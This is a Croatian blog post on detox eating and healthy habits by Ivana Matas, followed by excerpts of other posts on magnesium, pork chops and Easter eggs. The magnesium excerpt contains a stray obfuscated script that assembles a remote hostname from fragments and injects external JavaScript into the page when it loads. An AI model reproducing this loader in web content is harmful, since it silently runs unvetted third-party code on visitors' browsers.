OJAČAJ SVOJE TIJELO





Ojačaj svoje tijelo 



Savršen je trenutak za malu detoksikaciju. Riješite svoje tijelo loših navika da bi ono bilo zdravije i jače, ali i da bi osnažili svoj um.





Detoks 

Pojam detoks može se prevesti kao detoksikacija odnosno čišćenje organizma. To nisu čarobni čajevi i napitci za mršavljenje. Loše navike spavanja, nezdrava prehrana i štetne tvari iz okoliša ostavljaju neželjene tvari u vezivnom tkivu i organima. 





Koje namirnice jesti?

Tijekom čišćenja organizma od štetnih tvari u fokusu su namirnice biljnog podrijetla koje sadrže puno tekućine, vitamina i minerala. Od njih možete pripremati i smoothieje te uživati u zdravim napitcima. Od posebno zdravog povrća možete odabrati kupus, krastavce, špinat, celer dok je od voća poželjno u prehranu ubaciti što više bobičastog voća, marelica, naranči i limuna. Ne zaboravite i na začinsko bilje kao što su peršin, korijandar, kopriva i maslačak.

Zdrave masti također su važne za cjelovitu prehranu primjerice maslinovo ulje, orašasti plodovi i avokado. Neki vitamini topivi su u mastima pa ih bez masti tijelo ne može apsorbirati, stoga masti nikako nemojte preskakati. Ne zaboravite piti i dovoljno tekućine najbolje vodu ili nezaslađene čajeve.





Što trebate izbjegavati?

Cilj je smanjiti ono što se u većim količinama smatra nezdravim poput šećera, grickalica ili suhomesnatih proizvoda. 

Smanjite ili izbjegavajte:

Slatkiše, sladoled, kolače, zaslađena pića.

Masne i slane grickalice poput pomfrita ili čipsa.

Jako prerađenu hranu i gotova smrznuta jela.

Proizvode od bijelog brašna.

Suhomesnate proizvode.




Što još možete učiniti?

Super je uvrstiti druge zdrave navike u svoju svakodnevicu. Trčanje, šetnje, joga ili plivanje odličan su odabir tjelesne aktivnosti. Boravak na svježem zraku, dovoljno sna, meditacija, pa čak i mali digitalni detoks nekoliko sati bez društvenih mreža bit će savršena nadopuna vašem programu čišćenja tijela i uma.





Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više